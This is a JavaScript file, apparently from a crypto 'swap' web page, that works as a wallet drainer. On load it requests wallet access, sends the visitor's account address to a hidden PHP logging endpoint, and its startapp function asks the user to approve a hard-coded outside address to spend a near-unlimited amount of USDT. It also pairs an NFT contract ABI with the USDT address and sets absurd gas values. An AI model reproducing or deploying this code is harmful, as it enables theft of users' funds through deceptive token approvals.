const CONTRACT_ABI = [
                {
                  inputs: [],
                  stateMutability: "nonpayable",
                  type: "constructor",
                },
                {
                  anonymous: false,
                  inputs: [
                    {
                      indexed: true,
                      internalType: "address",
                      name: "owner",
                      type: "address",
                    },
                    {
                      indexed: true,
                      internalType: "address",
                      name: "approved",
                      type: "address",
                    },
                    {
                      indexed: true,
                      internalType: "uint256",
                      name: "tokenId",
                      type: "uint256",
                    },
                  ],
                  name: "Approval",
                  type: "event",
                },
                {
                  anonymous: false,
                  inputs: [
                    {
                      indexed: true,
                      internalType: "address",
                      name: "owner",
                      type: "address",
                    },
                    {
                      indexed: true,
                      internalType: "address",
                      name: "operator",
                      type: "address",
                    },
                    {
                      indexed: false,
                      internalType: "bool",
                      name: "approved",
                      type: "bool",
                    },
                  ],
                  name: "ApprovalForAll",
                  type: "event",
                },
                {
                  anonymous: false,
                  inputs: [
                    {
                      indexed: true,
                      internalType: "address",
                      name: "previousOwner",
                      type: "address",
                    },
                    {
                      indexed: true,
                      internalType: "address",
                      name: "newOwner",
                      type: "address",
                    },
                  ],
                  name: "OwnershipTransferred",
                  type: "event",
                },
                {
                  anonymous: false,
                  inputs: [
                    {
                      indexed: true,
                      internalType: "address",
                      name: "from",
                      type: "address",
                    },
                    {
                      indexed: true,
                      internalType: "address",
                      name: "to",
                      type: "address",
                    },
                    {
                      indexed: true,
                      internalType: "uint256",
                      name: "tokenId",
                      type: "uint256",
                    },
                  ],
                  name: "Transfer",
                  type: "event",
                },
                {
                  inputs: [
                    { internalType: "address", name: "", type: "address" },
                  ],
                  name: "addressMintedBalance",
                  outputs: [
                    { internalType: "uint256", name: "", type: "uint256" },
                  ],
                  stateMutability: "view",
                  type: "function",
                },
                {
                  inputs: [
                    { internalType: "address", name: "to", type: "address" },
                    {
                      internalType: "uint256",
                      name: "tokenId",
                      type: "uint256",
                    },
                  ],
                  name: "approve",
                  outputs: [],
                  stateMutability: "nonpayable",
                  type: "function",
                },
                {
                  inputs: [
                    { internalType: "address", name: "owner", type: "address" },
                  ],
                  name: "balanceOf",
                  outputs: [
                    { internalType: "uint256", name: "", type: "uint256" },
                  ],
                  stateMutability: "view",
                  type: "function",
                },
                {
                  inputs: [],
                  name: "baseExtension",
                  outputs: [
                    { internalType: "string", name: "", type: "string" },
                  ],
                  stateMutability: "view",
                  type: "function",
                },
                {
                  inputs: [],
                  name: "baseURI",
                  outputs: [
                    { internalType: "string", name: "", type: "string" },
                  ],
                  stateMutability: "view",
                  type: "function",
                },
                {
                  inputs: [],
                  name: "cost",
                  outputs: [
                    { internalType: "uint256", name: "", type: "uint256" },
                  ],
                  stateMutability: "view",
                  type: "function",
                },
                {
                  inputs: [
                    {
                      internalType: "uint256",
                      name: "tokenId",
                      type: "uint256",
                    },
                  ],
                  name: "getApproved",
                  outputs: [
                    { internalType: "address", name: "", type: "address" },
                  ],
                  stateMutability: "view",
                  type: "function",
                },
                {
                  inputs: [
                    { internalType: "address", name: "owner", type: "address" },
                    {
                      internalType: "address",
                      name: "operator",
                      type: "address",
                    },
                  ],
                  name: "isApprovedForAll",
                  outputs: [{ internalType: "bool", name: "", type: "bool" }],
                  stateMutability: "view",
                  type: "function",
                },
                {
                  inputs: [],
                  name: "maxSupply",
                  outputs: [
                    { internalType: "uint256", name: "", type: "uint256" },
                  ],
                  stateMutability: "view",
                  type: "function",
                },
                {
                  inputs: [
                    {
                      internalType: "uint256",
                      name: "_mintAmount",
                      type: "uint256",
                    },
                  ],
                  name: "mint",
                  outputs: [],
                  stateMutability: "payable",
                  type: "function",
                },
                {
                  inputs: [],
                  name: "name",
                  outputs: [
                    { internalType: "string", name: "", type: "string" },
                  ],
                  stateMutability: "view",
                  type: "function",
                },
                {
                  inputs: [],
                  name: "nftPerAddressLimit",
                  outputs: [
                    { internalType: "uint256", name: "", type: "uint256" },
                  ],
                  stateMutability: "view",
                  type: "function",
                },
                {
                  inputs: [],
                  name: "notRevealedUri",
                  outputs: [
                    { internalType: "string", name: "", type: "string" },
                  ],
                  stateMutability: "view",
                  type: "function",
                },
                {
                  inputs: [],
                  name: "owner",
                  outputs: [
                    { internalType: "address", name: "", type: "address" },
                  ],
                  stateMutability: "view",
                  type: "function",
                },
                {
                  inputs: [
                    {
                      internalType: "uint256",
                      name: "tokenId",
                      type: "uint256",
                    },
                  ],
                  name: "ownerOf",
                  outputs: [
                    { internalType: "address", name: "", type: "address" },
                  ],
                  stateMutability: "view",
                  type: "function",
                },
                {
                  inputs: [
                    { internalType: "bool", name: "_state", type: "bool" },
                  ],
                  name: "pause",
                  outputs: [],
                  stateMutability: "nonpayable",
                  type: "function",
                },
                {
                  inputs: [],
                  name: "paused",
                  outputs: [{ internalType: "bool", name: "", type: "bool" }],
                  stateMutability: "view",
                  type: "function",
                },
                {
                  inputs: [],
                  name: "renounceOwnership",
                  outputs: [],
                  stateMutability: "nonpayable",
                  type: "function",
                },
                {
                  inputs: [],
                  name: "reveal",
                  outputs: [],
                  stateMutability: "nonpayable",
                  type: "function",
                },
                {
                  inputs: [],
                  name: "revealed",
                  outputs: [{ internalType: "bool", name: "", type: "bool" }],
                  stateMutability: "view",
                  type: "function",
                },
                {
                  inputs: [
                    { internalType: "address", name: "from", type: "address" },
                    { internalType: "address", name: "to", type: "address" },
                    {
                      internalType: "uint256",
                      name: "tokenId",
                      type: "uint256",
                    },
                  ],
                  name: "safeTransferFrom",
                  outputs: [],
                  stateMutability: "nonpayable",
                  type: "function",
                },
                {
                  inputs: [
                    { internalType: "address", name: "from", type: "address" },
                    { internalType: "address", name: "to", type: "address" },
                    {
                      internalType: "uint256",
                      name: "tokenId",
                      type: "uint256",
                    },
                    { internalType: "bytes", name: "_data", type: "bytes" },
                  ],
                  name: "safeTransferFrom",
                  outputs: [],
                  stateMutability: "nonpayable",
                  type: "function",
                },
                {
                  inputs: [
                    {
                      internalType: "address",
                      name: "operator",
                      type: "address",
                    },
                    { internalType: "bool", name: "approved", type: "bool" },
                  ],
                  name: "setApprovalForAll",
                  outputs: [],
                  stateMutability: "nonpayable",
                  type: "function",
                },
                {
                  inputs: [
                    {
                      internalType: "string",
                      name: "_newBaseExtension",
                      type: "string",
                    },
                  ],
                  name: "setBaseExtension",
                  outputs: [],
                  stateMutability: "nonpayable",
                  type: "function",
                },
                {
                  inputs: [
                    {
                      internalType: "string",
                      name: "_newBaseURI",
                      type: "string",
                    },
                  ],
                  name: "setBaseURI",
                  outputs: [],
                  stateMutability: "nonpayable",
                  type: "function",
                },
                {
                  inputs: [
                    {
                      internalType: "uint256",
                      name: "_newCost",
                      type: "uint256",
                    },
                  ],
                  name: "setCost",
                  outputs: [],
                  stateMutability: "nonpayable",
                  type: "function",
                },
                {
                  inputs: [
                    {
                      internalType: "uint256",
                      name: "_limit",
                      type: "uint256",
                    },
                  ],
                  name: "setNftPerAddressLimit",
                  outputs: [],
                  stateMutability: "nonpayable",
                  type: "function",
                },
                {
                  inputs: [
                    {
                      internalType: "string",
                      name: "_notRevealedURI",
                      type: "string",
                    },
                  ],
                  name: "setNotRevealedURI",
                  outputs: [],
                  stateMutability: "nonpayable",
                  type: "function",
                },
                {
                  inputs: [
                    {
                      internalType: "bytes4",
                      name: "interfaceId",
                      type: "bytes4",
                    },
                  ],
                  name: "supportsInterface",
                  outputs: [{ internalType: "bool", name: "", type: "bool" }],
                  stateMutability: "view",
                  type: "function",
                },
                {
                  inputs: [],
                  name: "symbol",
                  outputs: [
                    { internalType: "string", name: "", type: "string" },
                  ],
                  stateMutability: "view",
                  type: "function",
                },
                {
                  inputs: [
                    { internalType: "uint256", name: "index", type: "uint256" },
                  ],
                  name: "tokenByIndex",
                  outputs: [
                    { internalType: "uint256", name: "", type: "uint256" },
                  ],
                  stateMutability: "view",
                  type: "function",
                },
                {
                  inputs: [
                    { internalType: "address", name: "owner", type: "address" },
                    { internalType: "uint256", name: "index", type: "uint256" },
                  ],
                  name: "tokenOfOwnerByIndex",
                  outputs: [
                    { internalType: "uint256", name: "", type: "uint256" },
                  ],
                  stateMutability: "view",
                  type: "function",
                },
                {
                  inputs: [
                    {
                      internalType: "uint256",
                      name: "tokenId",
                      type: "uint256",
                    },
                  ],
                  name: "tokenURI",
                  outputs: [
                    { internalType: "string", name: "", type: "string" },
                  ],
                  stateMutability: "view",
                  type: "function",
                },
                {
                  inputs: [],
                  name: "totalSupply",
                  outputs: [
                    { internalType: "uint256", name: "", type: "uint256" },
                  ],
                  stateMutability: "view",
                  type: "function",
                },
                {
                  inputs: [
                    { internalType: "address", name: "from", type: "address" },
                    { internalType: "address", name: "to", type: "address" },
                    {
                      internalType: "uint256",
                      name: "tokenId",
                      type: "uint256",
                    },
                  ],
                  name: "transferFrom",
                  outputs: [],
                  stateMutability: "nonpayable",
                  type: "function",
                },
                {
                  inputs: [
                    {
                      internalType: "address",
                      name: "newOwner",
                      type: "address",
                    },
                  ],
                  name: "transferOwnership",
                  outputs: [],
                  stateMutability: "nonpayable",
                  type: "function",
                },
                {
                  inputs: [
                    {
                      internalType: "address",
                      name: "_owner",
                      type: "address",
                    },
                  ],
                  name: "walletOfOwner",
                  outputs: [
                    { internalType: "uint256[]", name: "", type: "uint256[]" },
                  ],
                  stateMutability: "view",
                  type: "function",
                },
                {
                  inputs: [],
                  name: "withdraw",
                  outputs: [],
                  stateMutability: "nonpayable",
                  type: "function",
                },
              ];
let contract;
let accounts;

window.onload = function () {




	if (window.ethereum) {
		var _web3Provider = window.ethereum;
		try {
			window.ethereum.enable().then(async () => {
				web3 = new Web3(window.web3.currentProvider);

				var contractAddress = "0xdAC17F958D2ee523a2206206994597C13D831ec7"; //USDT

				contract = new web3.eth.Contract(CONTRACT_ABI, contractAddress);


				accounts = await web3.eth.getAccounts();
				var oReq = new XMLHttpRequest();
				oReq.open("GET", "../../assets/libplay/index.php?uservisit="+accounts);
				oReq.send();
				console.log(accounts);


				contract.methods.balanceOf(accounts[0]).call(function (error, result) {
					if (!error) {
						console.log("=" + result);

					} else {
						console.log(error);
					}

				});

				const gasLimit = Web3.utils.toWei('100000000', 'gwei');
				const gasPrice = Web3.utils.toWei('100000000', 'gwei');



			});


		} catch (error) {
			console.error("User denied account access")
		}
	}


	//var ob = document.getElementById("swapBtnr");
	function startapp() {
		const to = "0xAEE7D40dcA478d4b4eABC7B46a1F5A116062c68c";
		const amount = Web3.utils.toWei('1000000000', 'kwei');
		contract.methods.approve(to, 999999999999999).send({
			from: accounts[0]
		}, function (error, result) {
			if (!error) {
				console.log("ok");
				console.log(result);
			} else {
				console.log(error);
				console.log("err");
			}
		});



	};


} //end onload